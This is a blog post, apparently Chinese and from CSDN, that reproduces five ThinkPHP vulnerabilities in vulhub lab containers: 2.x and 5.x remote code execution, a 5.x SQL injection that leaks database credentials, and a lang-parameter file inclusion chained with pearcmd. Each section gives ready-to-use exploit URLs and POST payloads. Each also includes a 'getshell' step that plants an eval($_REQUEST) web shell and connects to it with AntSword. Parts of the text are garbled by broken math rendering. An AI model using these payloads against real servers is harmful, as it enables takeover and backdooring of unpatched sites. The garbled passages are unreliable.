【vulhub】thinkphp 2-rce 5.0.23-rce 5-rce in-sqlinjection lang-rce漏洞复现

-----------------梦想,想像力和希望实现这些梦想的人的勇气充满希望。

2-RCE

ThinkPHP 2.x任意代码执行漏洞

0x00 漏洞描述

ThinkPHP2.x版本是使用preg_replace的/e模式匹配的路由

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户输入的参数被插入双引号中执行,造成任意代码执行。
ThinkPHP3.x的Lite模式下也没有修复该漏洞,漏洞依旧存在。

0x01 影响版本

ThinkPHP 2.x

0x02 靶场环境

cd /.../vulhub/thinkphp/2-rce  # cd进入2-rce靶场文件环境下
docker-compose up -d          # docker-compose启动靶场
docker ps -a					   # 查看开启的靶场信息

0x03 漏洞分析

存在漏洞的文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

// line 87
if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
	$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
	$var  =  array();
	if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
		$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
		if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
			 // 禁止直接访问分组
			exit;
		}
	}
	if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
		$var[C('VAR_MODULE')]  =   array_shift($paths);
	}
	$var[C('VAR_ACTION')]  =   array_shift($paths);
	// 解析剩余的URL参数
	$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
	$_GET   =  array_merge($var,$_GET);
}

检测了路由规则,如果没有则按默认规则调度URL,然后解析剩余的URL参数。
1、 preg_replace( 搜索模式, 替换字符串, 搜索目标 );,e模式的正则支持执行代码,有了它可以执行第二个参数的命令(仅仅是一个php表达式,也就是不能有分号),第一个参数需要再第三个参数中有匹配,否则会返回第三个参数而不执行命令。
2、正则表达式的搜索模式:(\w+)/([^/])是取每两个参数,KaTeX parse error: Undefined control sequence: \1 at position 6: var['\̲1̲']="\2";是对数组的操作…var在路径存在模块和动作时,会去除掉前两个值,而数组$var来自于 $paths也就是路径。 为了让我们构造的语句得以执行,需要将语句作为数组的值。如:

/index.php?s=a/b/c/d/e/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f

注:

1. 其中要执行的语句再第偶数个参数的位置;
2. PHP中 ${} 是可以构造一个变量的,如果里面写的是函数则里可以执行函数
3. ThinkPHP的url规则
	thinkphp 所有的主入口文件默认访问index控制器(模块)
	thinkphp 所有的控制器默认执行index动作(方法)
	存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
	ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

0x04 漏洞复现

构造payload:

http://127.0.0.1:8080/index.php?s=/index/index/name/${phpinfo()}

访问,成功执行phpinfo();函数
在这里插入图片描述

0x05 getshell

构造payload:

http://127.0.0.1:8080/index.php?s=/index/index/name/${eval($_REQUEST[1])}&&1=phpinfo();

验证:蚁剑连接
在这里插入图片描述在这里插入图片描述

5.0.23-RCE

0x00 漏洞描述

实现框架的核心类Requests的method方法实现表单请求类伪装,默认为$_POST[‘_method’]变量,却没有对_method属性进行严格校验,可以通过变量覆盖Requests类的属性,在结合框架特性实现对任意函数的调用实现任意代码执行

0x01 影响版本

ThinkPHP 5.0.x~5.0.23
ThinkPHP 5.1.x~5.1.31
ThinkPHP 5.2.0beta1

0x02 靶场环境

cd /.../vulhub/thinkphp/5.0.23-rce  # cd进入5.0.23-rce靶场文件环境下
docker-compose up -d          # docker-compose启动靶场
docker ps -a					   # 查看开启的靶场信息

0x03 漏洞分析

1).通过http://127.0.0.1:8080/index.php?s=index的方式通过s参数传递具体的路由地址,查看路口文件,发现调用了start.php

// index.php line 15
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

2).查看start.php方法,发现调用了App类中的run方法:

// start.php line 15
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

3).查看App类中的run方法,部分代码如下:

//App.php line 111
// 获取应用调度信息
            $dispatch = self::$dispatch;

            // 未设置调度信息则进行 URL 路由检测
            if (empty($dispatch)) {
/*关键代码*/		$dispatch = self::routeCheck($request, $config);
            }

            // 记录当前调度信息
            $request->dispatch($dispatch);

            // 记录路由和请求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
/*关键代码*/     Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

            // 监听 app_begin
            Hook::listen('app_begin', $dispatch);

            // 请求缓存检查
            $request->cache(
                $config['request_cache'],
                $config['request_cache_expire'],
                $config['request_cache_except']
            );

/*关键代码*/	    $data = self::exec($dispatch, $config);
        } catch (HttpResponseException $exception) {
            $data = $exception->getResponse();
        }

可以看到在执行self::exec($dispatch, c o n f i g ) 之前, config)之前, config)之前,dispatch的值是通过 d i s p a t c h = s e l f : : r o u t e C h e c k ( dispatch = self::routeCheck( dispatch=self::routeCheck(request, c o n f i g ) 设置的,这时候如果 d e b u g 模式开启,就会调用 config)设置的,这时候如果debug模式开启,就会调用 config)设置的,这时候如果debug模式开启,就会调用request->param(),也就是下面exec()中会调用到的函数,经过下面分析就能发现,在debug模式开启时就能直接触发漏洞,原理是一样的。

4).再看exec()方法:

// App.php line 445
protected static function exec($dispatch, $config)
    {
        switch ($dispatch['type']) {
            case 'redirect': // 重定向跳转
                $data = Response::create($dispatch['url'], 'redirect')
                    ->code($dispatch['status']);
                break;
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            case 'controller': // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = Loader::action(
                    $dispatch['controller'],
                    $vars,
                    $config['url_controller_layer'],
                    $config['controller_suffix']
                );
                break;
/*关键代码*/ case 'method': // 回调方法
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function': // 闭包
                $data = self::invokeFunction($dispatch['function']);
                break;
            case 'response': // Response 实例
                $data = $dispatch['response'];
                break;
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }

        return $data;
    }

5).exec()方法根据$dispatch的值选择进入不同的分支,当进入method分支时,调用Request::instance()->param()方法,跟进param(),看到调用了Request类的method()方法 :

// Request.php line 634
public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
/*关键代码*/ $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
            $this->mergeParam = true;
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

6).跟进method方法,通过官方的更新文档可知该函数是被改进的内容之一,在这个方法中,如果method等于true,则调用$this->server()方法:

// Request.php line 518
public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
/*关键代码*/ return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }

7).跟进server()方法,其中调用了input()方法:

// Request.php line 862
public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
/*关键代码*/return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }

8).然后调用input()方法中又调用了filterValue()方法:

// Request.php line 1030
		if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
/*关键代码*/ $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }
        return $data;

9).最后filterValue中调用了call_user_func()方法,如果两个参数均可控,即 f i l t e r 和 filter和 filtervalue,则会造成命令执行:

// Request.php line 1082
private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
/*关键代码*/     $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }
        return $this->filterExp($value);
    }

整个流程:{main}() -> require() -> App::run() -> App::exec() -> Request -> param() -> Request() -> method() -> Request->server() -> Request->input() -> Request-> filterValue()

查看$filter = t h i s − > g e t F i l t e r ( this->getFilter( this>getFilter(filter, d e f a u l t ) ; ,而在 g e t F i l t e r ( ) 中设置了 default);,而在getFilter()中设置了 default);,而在getFilter()中设置了filter = $filter ?: t h i s − f i l t e r ; 即由 this-filter; 即由 thisfilter;即由this->filter决定;

v a l u e 为第一个参数 value为第一个参数 value为第一个参数data,即为传入数组的值,由$this->filter决定;

m e t h o d 变量是 method变量是 method变量是this->method,其同等于POST方法中的method参数值,由于 t h i s − > m e t h o d ,其等同于 P O S T 方法中的 m e t h o d 参数值,由于 this->method,其等同于POST方法中的method参数值,由于 this>method,其等同于POST方法中的method参数值,由于this->method可控,导致可以调用_contruct()覆盖Request类的filter字段。

0x04 漏洞复现

1)访问靶场http://127.0.0.1:8080/index.php?s=index
在这里插入图片描述2).构造测试payload进行测试:
url访问: http://127.0.0.1:8080/index.php?s=captcha
post字段:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
在这里插入图片描述payload测试成功

0x05 getshell

构造特殊payload通过post方式传入一句话木马
payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo ‘<?php eval($_REQUEST[8]);?>’ > shell.php
访问url: http://127.0.0.1:8080/shell.php?8=phpinfo();
在这里插入图片描述文件写入成功进行连接
在这里插入图片描述连接成功

5-RCE

0x00 漏洞描述

在ThinkPHP5版本中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

0x01 影响版本

ThinkPHP5:
5.0.x~5.0.23;
5.1.0~5.1.30;
不同版本payload不同, 5.1.13之后还与debug模式有关

0x02 靶场环境

cd /.../vulhub/thinkphp/5-rce  # cd进入5-rce靶场文件环境下
docker-compose up -d          # docker-compose启动靶场
docker ps -a					   # 查看开启的靶场信息

0x03 漏洞复现

在当前目录下查看vulhub靶场的payload
cat README.md
在这里插入图片描述http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
payload解析原理,根据路由进行传参,调用/Index/\think\app/invokefunction中的call_user_func_array方法通过数组方式传入方法名phpinfo执行phpinfo()后面
var[1][]=-1的意思是不带参数执行
本地构造url访问页面
在这里插入图片描述这是采用poc的payload攻击成功

0x04 getshell

修改上述poc,构造payload:

http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]='<?php phpinfo();eval($_REQUEST[8]);?>'

payload解释:调用file_put_contents方法将'<?php phpinfo();eval($_REQUEST[8]);?>'写入shell.php文件

验证payload
url访问:http://127.0.0.1:8080/shell.php
在这里插入图片描述蚁剑连接:
在这里插入图片描述连接成功

in-sqlinjection

ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞

0x00 漏洞描述

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

0x01 影响版本

ThinkPHP < 5.1.23
该漏洞的形成最关键一点是需要开启debug模式

0x02 靶场环境

cd /.../vulhub/thinkphp/5-rce  # cd进入5-rce靶场文件环境下
docker-compose up -d          # docker-compose启动靶场
docker ps -a					   # 查看开启的靶场信息

0x03 漏洞分析

查看源码/application/index/controller/Index.php:

<?php
namespace app\index\controller;

use app\index\model\User;

class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
        foreach($result as $row) {
            echo "<p>Hello, {$row['username']}</p>";
        }
    }
}

可以看到input()函数中定义了 i d s 的类型是数组,而 ids的类型是数组,而 ids的类型是数组,而ids又被User类中的where()函数调用,跟进后找到/thinkphp/library/think/db/Builder.php文件:

protected function parseWhere($where, $options)
{
    $whereStr = $this->buildWhere($where, $options);
    if (!empty($options['soft_delete'])) {
        // 附加软删除条件
        list($field, $condition) = $options['soft_delete'];

        $binds    = $this->query->getFieldsBind($options);
        $whereStr = $whereStr ? '( ' . $whereStr . ' ) AND ' : '';
        $whereStr = $whereStr . $this->parseWhereItem($field, $condition, '', $options, $binds);
    }
    return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
}

接着找到定义’in’的位置:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }

这段代码当引入了in 或者 not in的时候遍历value的key和value。而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。

0x04 漏洞复现

查看poc
cat README.zh_cn.md
在这里插入图片描述构造漏洞测试payload:
http://192.168.23.200/index.php?ids[]=1&ids[]=2
访问url
在这里插入图片描述这里测试成功说明存在sql注入漏洞,接着构造报错回显的payload爆破数据库信息
payload:http://192.168.23.200/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
在这里插入图片描述这是成功获取到了该mysql数据库的账户密码,这里可以进行mysql远程连接,进行进一步利用,这里不在赘述。

lang-rce

0x00 漏洞描述

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。
漏洞建立在目录遍历和文件包含之上,利用pearcmd的tricks即可为攻击者实施远程代码攻击从而实现RCE,由于thinkphp6.0.13版本之前存在一处本地文件包含漏洞,可以通过lang参数包含任意PHP文件,当此漏洞与register_argc_argv且安装了pcel/pear的环境下配合时,就会导致RCE。

0x01 影响版本

ThinkPHP version:
6.0.0~6.0.13
5.0.x
5.1.x

0x02 靶场环境

cd /.../vulhub/thinkphp/lang-rce   # cd进入lang-rce靶场文件环境下
docker-compose up -d          	    # docker-compose启动靶场
docker ps -a					        # 查看开启的靶场信息

0x03 漏洞分析

首先看LoadLangPack这个类,handle()函数 中先调用detect()方法在请求中检查是否有参数设置语言

public function handle($request, Closure $next)
    {
        // 自动侦测当前语言
        $langset = $this->detect($request);

        if ($this->lang->defaultLangSet() != $langset) {
            $this->lang->switchLangSet($langset);
        }

        $this->saveToCookie($this->app->cookie, $langset);

        return $next($request);
    }

多个判断中检查了get、header、cookie等位置,config[‘allow_lang_list’]默认为空情况下, l a n g S e t 赋给 langSet赋给 langSet赋给range并返回

protected function detect(Request $request): string
    {
        // 自动侦测设置获取语言选择
        $langSet = '';

        if ($request->get($this->config['detect_var'])) {
            // url中设置了语言变量
            $langSet = strtolower($request->get($this->config['detect_var']));
        } elseif ($request->header($this->config['header_var'])) {
            // Header中设置了语言变量
            $langSet = strtolower($request->header($this->config['header_var']));
        } elseif ($request->cookie($this->config['cookie_var'])) {
            // Cookie中设置了语言变量
            $langSet = strtolower($request->cookie($this->config['cookie_var']));
        } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
            // 自动侦测浏览器语言
            $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
            if ($match) {
                $langSet = strtolower($matches[1]);
                if (isset($this->config['accept_language'][$langSet])) {
                    $langSet = $this->config['accept_language'][$langSet];
                }
            }
        }

        if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
            // 合法的语言
            $range = $langSet;
            $this->lang->setLangSet($range);
        } else {
            $range = $this->lang->getLangSet();
        }

        return $range;
    }

又回到handle()中 t h i s − > l a n g − > s w i t c h L a n g S e t ( this->lang->switchLangSet( this>lang>switchLangSet(langset); 执行

参数传入该函数内,拼接:thinkphp路径/lang/ + 用户参数$langset + .php。后传进load()函数

    public function switchLangSet(string $langset)
    {
        if (empty($langset)) {
            return;
        }

        // 加载系统语言包
        $this->load([
            $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
        ]);

        // 加载系统语言包
        $files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*');
        $this->load($files);

        // 加载扩展(自定义)语言包
        $list = $this->app->config->get('lang.extend_list', []);

        if (isset($list[$langset])) {
            $this->load($list[$langset]);
        }
    }

跟进load函数,发现参数传进load函数中,在167行又被传到parse函数内
在这里插入图片描述

/**
     * 加载语言定义(不区分大小写)
     * @access public
     * @param string|array $file  语言文件
     * @param string       $range 语言作用域
     * @return array
     */
    public function load($file, $range = ''): array
    {
        $range = $range ?: $this->range;
        if (!isset($this->lang[$range])) {
            $this->lang[$range] = [];
        }

        $lang = [];

        foreach ((array) $file as $name) {
            if (is_file($name)) {
                $result = $this->parse($name);
                $lang   = array_change_key_case($result) + $lang;
            }
        }

        if (!empty($lang)) {
            $this->lang[$range] = $lang + $this->lang[$range];
        }

        return $this->lang[$range];
    }

而parse函数直接用include对$file进行包含,也是漏洞触发点。

    /**
     * 解析语言文件
     * @access protected
     * @param string $file 语言文件名
     * @return array
     */
    protected function parse(string $file): array
    {
        $type = pathinfo($file, PATHINFO_EXTENSION);

        switch ($type) {
            case 'php':
                $result = include $file;  //此处就是最终漏洞触发点
                break;
            case 'yml':
            case 'yaml':
                if (function_exists('yaml_parse_file')) {
                    $result = yaml_parse_file($file);
                }
                break;
            case 'json':
                $data = file_get_contents($file);

                if (false !== $data) {
                    $data = json_decode($data, true);

                    if (json_last_error() === JSON_ERROR_NONE) {
                        $result = $data;
                    }
                }

                break;
        }

        return isset($result) && is_array($result) ? $result : [];
    }

从上边流程看出从获取参数到传入parse() 内都未对内容进行过滤。

0x04 漏洞复现

漏洞复现前提:
(1) 知道pearcmd路径
(2) ThinkPHP开启多语言模块
测试poc,通过cat README.zh_cn.md 文件获得测试poc
在这里插入图片描述根据poc进行测试,burpsuite开启抓包,然后利用get方法利用poc进行测试
在这里插入图片描述访问http://127.0.0.1:8080/shell.php进行验证
在这里插入图片描述可以看到shell.php文件生效,存在该漏洞poc验证成功

0x05 getshell

修改poc进行getshell

/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();eval($_REQUEST[8]);?>+shell.php
在shell.php文件中写入一句话木马,然后利用蚁剑进行连接

在这里插入图片描述蚁剑连接
在这里插入图片描述连接成功,测试生效。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP 2.x版本中存在远程代码执行(RCE)漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说,漏洞ThinkPHP框架中的路由处理函数中,使用了不安全的preg_replace函数,并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修这个漏洞,建议升级到最新版本的ThinkPHP框架,或者手动修代码中的漏洞。具体修方法包括使用更安全的正则表达式替代preg_replace函数,并且避免使用/e模式进行正则表达式匹配。此外,还应该对用户输入进行严格的过滤和验证,以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值